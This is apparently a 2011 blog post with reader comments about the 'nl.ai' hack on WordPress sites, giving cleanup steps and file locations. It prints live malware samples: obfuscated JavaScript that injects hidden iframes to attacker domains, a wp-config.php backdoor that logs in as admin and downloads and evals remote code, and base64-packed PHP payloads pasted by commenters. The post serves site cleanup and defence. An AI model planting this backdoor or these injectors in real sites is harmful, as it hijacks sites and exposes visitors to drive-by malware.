The nl.ai hack is widespread on WordPress sites currently. The hack consists of a block of malicious JavaScript being inserted (usually into the <head></head> section) into php pages on the site. Checking a page with the File Viewer Tool will show the code in a page. The malicious code appears like this in a page.
<sc ript>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height| width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|nl|msie |toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|juyfdjhdjdgh|navigator|ai| showthread|php|72241732'.split('|'),0,{}))
</script>
</script>
Which de-obfuscates to ->
function MakeFrameEx(){
element = document.getElementById('yahoo_api');
if (!element){
var el = document.createElement('iframe');
document.body.appendChild(el);
el.id = 'yahoo_api';
el.style.width = '1px';
el.style.height = '1px';
el.style.display = 'none';
el.src = 'http://juyfdjhdjdgh.nl.ai/showthread.php?t=72241732'
}
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") !=- 1 && ua.indexOf("opera") ==- 1 && ua.indexOf("webtv") ==- 1))
&& ua.indexOf("windows") !=- 1){
var t = setTimeout("MakeFrameEx()", 1000)
}
Note: You will see some variations in the domain/sub-domain name. http://jhkdgh.coom.in/showthread.php?t=72241732 seems to be common also. The hackers will have a number of domains set up with their malicious content and as Google flags one they will switch the src of the iframe to the next.
element = document.getElementById('yahoo_api');
if (!element){
var el = document.createElement('iframe');
document.body.appendChild(el);
el.id = 'yahoo_api';
el.style.width = '1px';
el.style.height = '1px';
el.style.display = 'none';
el.src = 'http://juyfdjhdjdgh.nl.ai/showthread.php?t=72241732'
}
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") !=- 1 && ua.indexOf("opera") ==- 1 && ua.indexOf("webtv") ==- 1))
&& ua.indexOf("windows") !=- 1){
var t = setTimeout("MakeFrameEx()", 1000)
}
Note: You will see some variations in the domain/sub-domain name. http://jhkdgh.coom.in/showthread.php?t=72241732 seems to be common also. The hackers will have a number of domains set up with their malicious content and as Google flags one they will switch the src of the iframe to the next.
I have also seen a couple of WordPress sites where the block of script is inserted at the very beginning of the file, before the doctype declaration. The code on these sites was quite different.
<sc ript>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('o k(3){1 7=\'s\';1 5=e g();c(1 i=0;i<q;i++){5[7.b(i>>4)+7.b(i&l)]=m.n(i)}d(!3.r(/^[a-t-9]*$/i))h y;d(3.f%2)3=\'0\'+3;1 8=3.f;1 6=e g();1 j=0;c(1 i=0;i<8;i+=2){6[j++]=5[3.v(i,2)]}h 6.x(\'\')}w.p(k(\'u\'));',35,35,'|var||data||b16_map|result|b16_digits|ll|||charAt|for|if|new|length|Array|return|||hDcd|15| String|fromCharCode|function|write|256|match|0123456789abcdef|f0| 3c646976207374796c653d22706f736974696f6e3a206162736f6c7574653b206c6566743a202d3 139393170783b20746f703a202d3239393870783b223e3c696672616d652077696474683d22342 2206865696768743d223422207372633d22687474703a2f2f677a646a706276622e6d796674702e 6f72672f692e7068703f676f3d31223e3c2f696672616d653e3c2f6469763e|substr|document|join |false'.split('|'),0,{}))
</sc ript>
</sc ript>
Which de-obfuscates to ->
document.write (s) <div style="position: absolute; left: -1991px; top: -2998px;"><if rame width="4" height="4" src="http://gzdjpbvb.myftp.org/i.php?go=1"></iframe></div>
| Update 11/09/2011: A new variant of the code used in this hack has started to appear. Instead of the Javascript above the hackers are now adding the code
<form method="post" action="?" style="overflow: auto; width: 5pt; height: 1pt; position: absolute; display: none "><A HREF="http://businessactionforafrica.org/?kids" TARGET="_self">kids clothes</A></form>
No doubt the domain being used to host the malicious content http://businessactionforafrica.org/?kids will change over time. |
If you see something like
Fatal error< /b> : Cannot redeclare _765258526() (previously declared in /home/web1/www-docs/wp-content/plugins/simple-quotes/index.php(357) : eval()'d code:1) in < b> /home/web1/www-docs/wp-content/themes/yamidoo/footer.php(46) : eval()'d code< /b> on line < b> 1< /b> < br />
in the File Viewer you are hacked (still hacked?). You need to clean up the code in those 2 files
/home/web1/www-docs/wp-content/plugins/simple-quotes/index.php
and
/home/web1/www-docs/wp-content/themes/yamidoo/footer.php
Note: The paths in the error message are going to vary depending on the plugins/themes you are using.
On some sites the owners have reported that malicious php code has been placed in all files named index.php on the site. The php code has been obfuscated, in most cases along the lines of
ncompress(base64_decode('eF6VlMmy ......
or gzuncompress(base64_decode('...............
or gzuncompress(base64_decode('...............
There is a listing for a very simple script at http://blog.aw-snap.info/p/simple-script-to-find-base64decode-in.html which you can up-load to your site and the script will check your files for any occurrences of the string base64_decode. The page includes a listing for the script and some brief instructions on how to install it on your site and use it. There is no download so you have to copy the script, save it, and then up-load the file to your site.
The script will find all occurrences of base64_decode, malicious or NOT. There is a webpage at Redleg's PHP base64 decode which can be used to try and decode the strings to see what they do. Unfortunately it is sort of hit or miss on the decoding, depending on what the hackers have done, and sometimes the purpose of the decoded stuff is no more clear than the original code. If you see something like $error_reporting=0; or error_reporting(0); that is usually a bad sign. That code will "turn off" all error reporting and is frequently used by hackers to make it harder to trace their code.
This hack appears to be a continuation of the Malicious software is hosted on newportalse.com, counter-wordpress.com, ?.us.to/kwizhveo.php hack and the steps for cleaning it up are the same.
Check to see if you are using the timthumb.php / thumb.php utility and if you are make sure it is updated to the latest version. http://timthumb.googlecode.com/svn/trunk/timthumb.php
Check your site for any of the following files
/wp-admin/upd.php*
/wp-content/upd.php
/wp-content/data.php
/wp-admin/js/config.php
/wp-admin/common.php
/wp-content/uploads/feed-file.php
/wp-content/uploads/feed-files.php
/wp-content/themes/*[your themes names]**/cache/.htaccess
/wp-content/themes/*[your themes names]/temp/[eab9c5e9815adc4c40a6557495eed6d3.php]
[or similar file names]
googleanalytics.php
custom_functions.php
* The upd.php names seem to be the most common.
*[your themes names]* You should check both your active theme and any inactive themes you may have left in place on your site. (And if you have any inactive themes/plugins delete the files! Never leave old/unused files on your site.)
These files are malicious and should be deleted. Suggest you also install the script simple program to find files containing base64_decode linked under Useful(?) tools on this page and give it a try. Instructions for installing the script and using it or on the page.
Check the core WP files wp-settings.php and wp-config.php for any malicious code. In most cases the hackers have been adding 100s of blank lines before their malicious code to try and hide its existence in the file. Check wp-settings.php for the following code
function check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . ‘/wp_inc’)){
readfile($t_d . ‘/wp_inc’);
}
}
add_action(‘wp_head’, ‘check_wordpress’);
$t_d = sys_get_temp_dir();
if(file_exists($t_d . ‘/wp_inc’)){
readfile($t_d . ‘/wp_inc’);
}
}
add_action(‘wp_head’, ‘check_wordpress’);
and remove it.
You can verify that the malicious code is no longer being inserted with the File Viewer tool. If you are running WP Super Cache you will need to clear the cache before checking.
Check wp-config.php for the following code
if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == ''){
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
}
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}
if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}
if ($_GET['pass'] == ''){
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
}
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}
if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}
and remove it.
Check your site for backdoors, rogue files or content in legitimate files that allow the hackers to access your site and/or change file content. There are some good tips in this article Website security: How to find backdoor PHP shell scripts on a server Change ALL passwords, FTP, MySQL and your secret keys.
Once you have gotten your site cleaned up you MAY need to submit a review request to Google. Check to see if Google is flagging your site by opening the diagnostic page for your site at http://www.google.com/safebrowsing/diagnostic?site=yourdomain. If the page lists your site as suspicious then you will need to submit a review request to Google and get your site cleared before the warnings will be removed. If your site is listed as not suspicious then the warnings should disappear as soon as your site is cleaned up (you may need to delete browser history/cache).
As always any additional information you have about this hack would be greatly appreciated!
| Update 11/09/2011: I have started to see a small number of sites flagged for nl.ai, such as the one cited by Naoma in the comment below where, when the site is checked using the file viewer no malicious code is shown. What I try to do in these cases is go back and check Google's cache of the sites pages and see if the code is present in the cached page. So far the code has been present in the cached pages of all the sites I have checked. What has happened in these cases?
1. The hosting service has cleaned up the site, removed the hack (and failed to notify the site owner). If you are currently flagged with nl.ai and the file viewer does not show the code below suggest you use the viewer to check the cached version of your page. Entering the URL
http://webcache.googleusercontent.com/search?&q=cache%3Ahttp://www.yoursite.com
in the File Viewer will request Google's cache of your page (If Google has it cached). If you see the code in the cached version of your page and do not see it in the current version it is probable that your hosting service has removed the hack. Check with the support staff at your hosting service to see if they are in fact cleaning up the hack. If they have cleaned it up all you need to do is submit a malware review request to Google. 2. The hackers are evolving the hack and using new code. This hack does include a backdoor and as long as the backdoor is in place the hackers will "evolve" their code to try and hide it from malware scanners. |
Hi,
ReplyDeleteThank you very much for posting this. I got notification around the same time your post went up that my site (www.gearunlocked.com) was infected. I am having a heck of a time cleaning it. I am seeing the same code you have on top, with a slight variation in the URL (mine is jfhjfd). I removed the upd.php file. I have not found any others you listed but the malicious code persists. Any advice?
@sygyzy Have you checked core php files wp-settings.php and wp-config.php??
ReplyDeleteSince posting the comment I've found some offending files but even after restoring/deleting them, the infection is still present. Clearly, I am missing something. I checked wp-settings.php and wp-config.php and they seem fine. Is there any sort of tool that you can recommend that will parse/grep the files in my site and look for a particular keyword (ie juyfdjhdjdgh)?
ReplyDelete@sygyzy There is a simple script linked on this post http://redleg-redleg.blogspot.com/p/simple-script-to-find-base64decode-in.html
ReplyDeleteThe script is set up to search for the term base64_decode but if you change this line
$str_to_find='base64_decode';
to
$str_to_find='juyfdjhdjdgh';
it will search all files on the site for that string.
@sygyzy You might also try using the script to search for the string yahoo_api
ReplyDelete$str_to_find='yahoo_api';
Thanks, I just used it to find suspect files but I can't see anything malicious in them. I've replaced them with fresh versions direct from wordpress, the theme provider, etc and I am still not getting a clear reading on scans. I will keep trying. If you have any other suggestions, please let me know. I think there must be just more holdout that's causing problems.
ReplyDeleteTried changing it to search for the new terms you suggested (yahoo_api, juyfdjhdjdgh, and jfhjfd). Nothing found. Of course there are a dozen files it says it can't check.
ReplyDeleteVery informative post! thank you for researching this. Its great to have you post such a detailed review.
ReplyDelete@sygyzy If the script will not check a file it is normally due to file permissions and you should open the files in your editor and check the contents.
ReplyDelete@Anirban Thanks Dr. Banerjee, Dr. Banerjee runs stopthehacker Which -- "provides a comprehensive suite of website health-care services to safeguard your website, and subsequently, your online reputation. Our services can help you prevent, detect, and recover from a malware attack."
ReplyDelete@sygyzy Check your wp-settings.php for this code
ReplyDeletefunction check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . ‘/wp_inc’)){
readfile($t_d . ‘/wp_inc’);
}
}
add_action(‘wp_head’, ‘check_wordpress’);
do_action( ‘init’ );
Update:
ReplyDelete1. I've removed any instance of upd.php
2. I've cleared out my theme's cache (mostly populated by timthumb)
3. Updated to latest version of timthumb from google repository
4. Removed function check_wordpress() from wp-settings.php
5. I ended up removing all wordpress files and reinstalling, then updating the database, then upgrading to the latest version within the dashboard (confusing since I downloaded and installed the latest version to begin with).
After all this, still no change on the file-viewer. It's still detecting "...windows|http|userAgent|1000|jfhjfd|navigator|ai|showthread|php|72241732'..."
@redleg
ReplyDeleteI did that before doing a complete WP reinstall. Still no luck. I might have the ultimate infection.
Update - I cleared my WP Super Cache and ran yours and a Sucuri scan and all is clear! This took me half a day to clean. I hope others are able to find this page and get some luck in fixing their problem.
ReplyDelete@sygyzy Whew! Excellent I wish you good luck with your site.
ReplyDeleteHello--
ReplyDeleteI noticed this problem yesterday. I got ad junk at the bottom of each page with the p,a,c,k,e,d javascript function. I tried to find upd.php or wp_inc.php files and all listed above (thanx, thankx!), but in vein.
Any other ideas?
would this warning appear due to me having a link on my site and that link was to a site that was infected?
ReplyDeletewell besides the infected link, i just discovered google says this is the suspected injected code:
ReplyDeletefunction(p,a,c,k,e,d) and then all the code
I am not familiar with web design, I just run the site but need to fix the problem,
@Anonymous It looks like the key part of this hack is the code being added to the wp-settings.php file. Open that file in your editor and check for the function check_wordpress(){ lines.
ReplyDelete@Anonymous It is possible if you are loading content from a site that is flagged. A regular link with text as the anchor <a href="flagged-site">some text</a> would not get you flagged but if you were using an image from the flagged site as the anchor <a href="flagged-site"><img src="flagged-site/image.jpg"></a> because you are loading content, the image from the flagged site it is possible to get flagged. In this case the Diagnostic page for your site should list the 3rd party site as an intermediary.
ReplyDelete@Dylan Again suggest you start by checking the content of wp-settings.php for the malicious code.
ReplyDeletemy blog have been infected by this malicious script, i have instaled all script from wordpress.org original, but still said suspicious. can u help me?? i have checked all files all listed above but i couldn't find those file
ReplyDeleteThanks very much for this information, I have 16 sites on one hosting :(
ReplyDeleteAlso worth noting, I found htaccess files had a blank start row inserted on those flagged of the 16.
I don't know what else to do...I went through the whole list...can't find it. What should I do? And can you see it? www.asknaoma.com Thanks!
ReplyDeleteI am on twitter @asknaoma
@Naoma Doriguzzi ? I am not seeing any malware on the site, Suggest you go ahead and submit a malware review request to Google in your Webmaster Tools account and we will hope for the best.
ReplyDelete@Naoma Doriguzzi Suggest you go ahead and submit a malware review request to Google for all of your sites. It looks like they have been cleaned up.
ReplyDeleteHey, I have deleted this code from wp_settings.php:
ReplyDeleteunction check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . ‘/wp_inc’)){
readfile($t_d . ‘/wp_inc’);
}
}
add_action(‘wp_head’, ‘check_wordpress’);
do_action( ‘init’ );
Though the malware is gone, my sidebar's also gone. How do I bring back the sidebar?
@Chris Fernando Suggest you try installing a clean copy of wp-settings from WordPress at this link. Click on the version you have running then find wp-settings in the list.
ReplyDeleteFor me, the code was in file INDEX.PHP
ReplyDeleteI had the malware code also in INDEX.PHP! Thanks A LOT for the hit!
ReplyDeleteThis post has been a life saver. Thank you.
ReplyDeleteWow this script injection has been giving me a headache for the past week. I would probably have never realized it was there until it messed with my sidebar login. It was also in the INDEX.PHP file for me, thanks so much!
ReplyDelete@diaped Thanks very much for the feedback.
ReplyDelete@Josh Based on the recent comments it looks like the hack is evolving again and the hacker is now targeting index.php. Thanks very much for the feedback Josh, I will get the article updated as soon as possible.
ReplyDeleteI'm so glad that i find this post, cause i have about 10 Wordpress Installations with this Malware and since 3 days im trying to find where it came from, how to remove it and prevent future injections.
ReplyDeleteWP AntiVirus helped me to find the insert code in these Theme-Files:
Theme/footer.php
Theme/index.php
Theme/cache/index.php
Theme/epanel/import_settings.php
In my FTP in noticed that the wp-settings.php was changed and i guess it wasn`t me, so i reuploaded a fresh one like you said.
I deleted the following code from index and footer (same code in both files):
<?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM='))); eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ=='))); eval(gzuncompress(base64_decode('eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoVVYDQxoGYJzFKAr7ez257Ya/6/UDevHkyMnmF9ddsfT6itumGZBy/3sMxOez/iJOojZOvXxKFo1GazvHOBGLA+eUaLVZpzajUZhTU15L3GFPsjAFRPMEAFudWy/H371++ffv2+2+//pL8xAHTODKmOT6slbE1tOJ1kiCDyoCxphgvMRm9qgExefekX133El0ismOkqGKP42MZLpKJpPMS8YTx4gSYVTsZZGe4IDdMec9Y+/pC3J1NwcNz5cbyxsZi7uQpYBHw88T+MPqTTulClndJI2Dx+I1owCJqXi0kAiGDr1PmpH+r/aTW/2IFVglZi6osknzT22+Yfz8mcjvS0l0L96TTiLuQ2MMek2IXbPSj2KrAO+ddAXvjWLWGHMfuyQrhhdkqAvz+CT+ojEYjqyB0rlslDwURXHJ71jw323da2R40mRpdS4G7wsjZXqfQjIck2hxOHc/bz77v+puTkrDPFsMoxgdVLn5dNCpjnotZMiFZKLX3LSu/xWPgnXXxxd2UgOtMuStvykbQOS04ZZINfXx9sg9l5G6GtgVvWJSG0uT8cr4x+pmL+C29MFouyy5VgBmk9WCjtJIuBwvaskyLo/De1BNIvYk6O/3liRUSN4tenILmuXaHUeqGNR7ouqyfyIb+1agxALuPZs5o1dYP9iuzSthDwkcnZgxky0cQ63OW8ELrc0LllmTOu7k3emSFNcicuCO11t2flxdnl3QngmRY8ipQ5yJo5i6sb69zN06yOgr1ja6SUyJPRVYU123gNYPkwhyM6zP7/hmmDAXA/GCKt2SMs9rXRPOUifjEuvCkhqLQ52ZxkHutKdrzZvO4+yIcdsdp/z5uwlMT7sqre/Bjns096xq4ppgfSHNomHt645A8tnLo1wPeKjUWwzM6Fy6801J9qwOWfUExd9U2eVAOZElU3Vc+2pdeJGosX+U022iZa0nW/LCIQLZPbjs0Rac9tmGfK+oW7k1LsaGMWZvsxuV9LSZ3/CDdQqpA6oCMr7F+OQDN42VrNztRLVGmOi9TZL02hmort/2iyAtvpWu7CtvHXihvbeyNn8nuv6vEBwCVFjuWGDCepDPG7JO788/0Obhcsd2DeRlXYhQvsSfZsjOV63USOcMk1bTUSCPFbCNq6xTUaK1OOuMJeqnc9RL5YMhciGs39OFn+PImRQj/d0cSdpLw+uFztQLmWu4BWyAXinlxV53ppnZdr6p5H9bhoKtpsK/1p2o8c7fu3ZZtENnLjisrS95ya6iLlxQIWqoLA1ELfAUFbpnNu2GfmFa1E5Lu+YrCNimZ6OyxMGmHhWwRwSIv9dFR9ryN1h02Q8pmGjVsNrsdOMNpBat/t0oYvWgkq/vhjiWxSxuuow+lR+virP659Lri9uDEEdZeK0HFT0Ig/8jlTymmN/I='))); ?>
@Sam Thanks very much for the feedback, it will be of great value to other site owners!
ReplyDeleteI have to thank you redleg for this awesome post! For now it seems like the virus is removed, i hope i didnt miss any files and that changing the FTP-Pass and only saving in Keepass (not in Filezilla anymore) will prevent it from coming back.
ReplyDeletefor those who just delete de code eval(gzuncompress(base64_decode('eF5Tcffxd3L0C....I have to tell you it is not enough! I had this malware, clean that code from index.php, review again on google, got rid on the label "this is an attack site", but now, after 4 days the code is back! (you can easily check wordpress by running the plugin "exploit scanner".
ReplyDeleteI also deleted the code above:
unction check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . ‘/wp_inc’)){
readfile($t_d . ‘/wp_inc’);
}
}
add_action(‘wp_head’, ‘check_wordpress’);
do_action( ‘init’ );
but the site is messed up, the header dissapeared and looks all weird.
Keep in touch!
The site become messed up not because I deleted the code from wp-settings, but put some suplimentaries code lines on the htaccess.
ReplyDeleteI run the file viewer presented above, it found me the below code, unofrtunately I cannot find it in header.php not in other files. Maybe somebody know.
44: < form method="post" action="?" style="overflow: auto; width: 5pt; height: 1pt; position: absolute; display: none " > < A HREF="http://businessactionforafrica.org/?kids" TARGET="_self" > kids clothes < /A > < /form > < /head >
The form code above <form method="post" ... looks suspicious! SEE: This post.
OMG, i just scanned my site with "exploit scanner" like Emil Agache said, and it found that also every plugin has malicious code in it!
ReplyDeleteThis is never ending, there is only one way: Install everything again :( the problem are all those days i spend customizing the theme, now i need to copy that parts step by step..
Maybe someone found a better way, but it seems like this is not stopping.
Well this virus is definitely getting worse. I did end up finding that script in the index.php file as I said before but now it doesn't even matter if I delete the code and re-upload the new one because within 4 hours or so it gets injected right back into the index.php.
ReplyDeleteAs Sam has said I have also ran the exploit scanner and it has picked up a bunch of javascript files where the function eval() is being used, but they look ok to me. I thought that eval() is used in a lot of javascript files anyway. I disabled all my plugins but that seemed to have done nothing. I am constantly uploading the new index.php file as at the moment I really don't know what to do.
One more thing that I am trying at the moment is setting the file permissions to 444 so that no one can write to that file. I will let you know if this works or not, but this still does not truly fix anything as I am clueless to where/how it is injecting this function. Any help would be very much appreciated.
Check your sites for "backdoors" a file placed somewhere on your site that is being used by the hackers to write to your files. There are some good tips in this article
ReplyDeletehttp://25yearsofprogramming.com/blog/2010/20100315.htm
Have you done the security "stuff" scanned your PC? changed passwords?, changed secret keys?, Are you running the latest versions of all WordPress and themes? Have you updated timthumb/thumb.php?
Thanks for this post. I have found the offending code posted by Sam in about half a dozen different files now, from theme files to plugin files, all in different index.php files.
ReplyDeleteI installed the Exploit Scanner plugin to find the offending code.
The code is purposely hidden in all these index.php files so that when you open the file you don't see the code. The Exploit Scanner tells you what line it's on. You have to scroll way over to the right of the last line of code to find the bad code. I've got it on about 8 sites.
Update to previous comment:
ReplyDeleteThe offending code seems to be spreading to more index.php files as well as a footer.php file. I hadn't got to delete all of the offending code on some of my sites, and now I'm finding it, with the help of Exploit scanner, in new files. Currently finding it in:
public_html/index.php
wp-admin/index.php
wp-admin/network/index.php
wp-admin/user/index.php
wp-content/index.php
wp-content/plugins/index.php
3 files in si-captcha/captcha plugin
wp-content/themes/index.php
wp-content/themes/SPECIFIC THEME/index.php
wp-content/wp-includes/theme-compat/footer.php
That's right, the file is here for many folks: wp-admin/js/revisions-js.php
ReplyDeletei dont understand. when i remove this code (you said that remove it) from config.php, i cannot be login. after login: blank screen (at login.php). when i add same code to config.php, no problem!!!!
ReplyDeleteThanks L. So i need to delete this file: wp-admin/js/revisions-js.php ?
ReplyDeleteThe content looks really very confusing... "The JS here is purposefully obfuscated to preserve mystery and romance."
I think my problem was that i saved my ftp passwords in filezilla, more infos:
ReplyDeletehttp://www.tech-evangelist.com/2009/06/08/filezilla-alert-trojan-virus/
@Sam
ReplyDeleteomg i have the same file, but it seems an easter egg of wp 2.7?? try to google it. :-(
I find malware only in index.php in the root... maybe a security server failure, i have others wordpress blog and are not infected.
thanks for the info!
Damn... the virus still seems to be in my sites. I tried to browse on the normal url.com and got this message from gateprotect firewall:
ReplyDeleteERROR! The requested URL
http://www. MYSITE .com
contains a Virus.
A virus was found !
Access will be denied !
The submited data contains the following virus
Trojan-Downloader.JS.Iframe.cqa
The sending of those files will be denied.
Please inform your systemadministrator.
I have had a version added to my hosted WEBSERVER ! it is:
ReplyDelete(brackets removed)
iframe src="http://jghkeqjroucggqetg.nl.ai/main.php?page=8487b19ab9bbce03" width=1 height=1 style="visibility: hidden;" /iframe
HOW in the name of Jumping Jahosiphat did they do THAT???
Thank you, your information The information is very helpful to us in overcoming the problems we are experiencing website hacked by evil people.
ReplyDeleteOnce again thank you
Not sure is my problem same as yours, but i found the file vslider.php in image folder... /public_html/wp-includes/js/tinymce/plugins/wordpress/img/vslider.php
ReplyDeleteit was full of something like:
"<?php $vwqsfa = array('xTsHV9tIt3+FsDkb/FGibmmJ8xGaa','SZgwC2bw5Fl2RaWS1ywTTb//d25d2','ZULEh4m/PeJlGZuXPn9jLyrgXttY0','37dnAmwbDwb2/CCbTyca7MHyXy619','XxMTa2G48TbIfX/rFj6Nx+5y4927r','Xe1eaGAt3drO+/wkT3U2OWTfL2YR4','9Lmz1esOdObJRdcea26ljsxa0u2G1','Sv7EVBGGXB8TbOS+y++Vjs7bfZU8t','fA+DZvEuf3rEntXbm7u7Dnv6fGAgb','Z+X+zXCa7Jbr6njSnZ5Oj0y704P67','MSezvoIRnsscouDrtYQM6kzp5ukFI','VSXoAUo4RzajJbv3yY0sv5U+PgYxj','GOuzwTK7sPHObXjdubwxFp/ZyHI/b','AaIpnL3hJx2vAHuYJVwD8Pke8xKN7','1OWUPQB5fdNBtxskvp4dP88yGKBeG','RhYfTxeXNPnsqurWzsIG0OQaK8KnE','2TQWXNousrlgklaRJfYK5LNbM8YSe','we22E2wG2cNNYp6YSyiQpHFyt2yh3','NlrYLEuZx8RjqSgux/QrWVDq87RNN','iwgZI5MQKak9a11lY74e4C7J3YM8v','HuqFNEsrGuMGFGMP9acjIXE2R7E5Z','Os2ZFfQIOJkLBJ77PXuaYIwHrsM6q','BBw6S9Tmel20+41+lRK6xr00fSwim','7zmFujtZwe6TgCBpvY+Sh5VT6ZKSd','x9LS0Ij+ozmw6OHLcb9RcabIhlYOY','bipA0XoCU5Qr12GjSIIaOude1JWvM','Mhyhw8ER2V+R253im5HnkXOGbMkfF','v3HeRZvl6Xb1EFhu1/chD71Dw3Wa/','pdarrfBzsI9iQ7ICVfWWcxRUo2rkU','Vi3uHRO3o2L54fXQ7YFGpTmzMiLKg','8taQSI8bH5MJQmd60tpEd4GqK5POg','o54AGsMEjMc05P6DAc1U8W54eIPeb','nFdl8VjXjhUyH2dWOxw+MosqOshov','VYmq9EM65Si2+E13ZAIpAfN40BSJi','R5Fkjv1C+D+kPpFlW9OAtwzPx8I83','9gSzC658+HSFbCI9jaL0qx7WgsSMJ','VzqoP1zedoR+GNmMZEYuDCFuHlSRC','73VbkXuNKlpjUevWJkBaOlakn6FEu','+opyeXil9dhFc3rQeSwYKk/TCa1mt','npBHNGLCHq94lhuVm0ELtnhZ5oECN','IruTpnbc4zJEwz9QUFxldKfuWeVwY','l9oHfWqEzPFSHXS15KKZa4RWcm8Qc','rBbRNm7WnkO+A3ZE+EEf0HfId0jZJ','HUwM/woidsbKmhbM6GZ/aKFba3OW4','g2KQ5OAAWjHI9C/bGLIIFFY81atnq','BIAxSWtqvnAcxoKuTkoCRbrPLLx9N','VurWqvWT022Gawkdoqho88JCiU/VT','BcVOvKN4J+hZO1bQzYqPfCL0+cjxr','kLcjhiqqZtrUz0zcU1uMmkhMqDCTQ','au409BEr6WSGrWzJYkWyWw3i86AIY','QbIaksvb6z9KKw1OiHE5CD6hXBF2U','SLj9FvMcsWKbwSA6IFWSBEhbywHwq','FYBYk7IBuUQyqSggC5WyJspihsu4L','KoVkgHyj2Ii/oH364gLlOjZEiCBZ4','wmkm/BcxRNaSvGN0KiipD/apnyI+O','d6bzVRo6JV5RDLclr7VOiDuPBu3zk','HFbu1GNKYeX2XQ/t7AqVH5VpNXrki','+6INRHSbm6QuP27Go41zm6PcACD1T','UCq8ds2VH3uqbikmOKcZiVa5nVIFV','P8xkx3JmdB2W7dmAOqahTcJyPoSAw',"
etc...
Google blocked my page few days ago, i deleted few infected files, but today same thing happend. Now i am again deleting and asking google to unblock me. Also somehow someone managed to register as admin on my page. Not sute how he did that...
anyway page is atvbl.com
I would like to share five codes (not sure if they are the same, lack knowledge to interpret and compare them), contained a file called pngfix.js.
ReplyDeleteNot sure what they mean, but when I scan these files with the online scanner, virustotal.com, one of the 43 programs (ClamV) identifies this file as a trojan.
I have two questions.
===============================
1. Does this file contain anything which is meaningful---or just a malicious code--and can be removed totally, or is it necessary to remove just the packed script
2. What does it mean---I checked for the files/codes you mention but cannot find any. I assume if a malicious file called pngfix.js is there on the site, it must mean something. The site/themes--two different themes+the plugin came installed for me, when I bought the sites.
I would appreciate any clarification and how to correct it. May help others. Also as of now I am removing the file pngfix.js itself, but can edit it if you suggest how I should go about it
Posting the codes as separate posts since the posting is long and this form limits size to 4096 characters. also posting as separate posts may be easy to read and understand
Thanks
pngfix.js 1
ReplyDelete===========
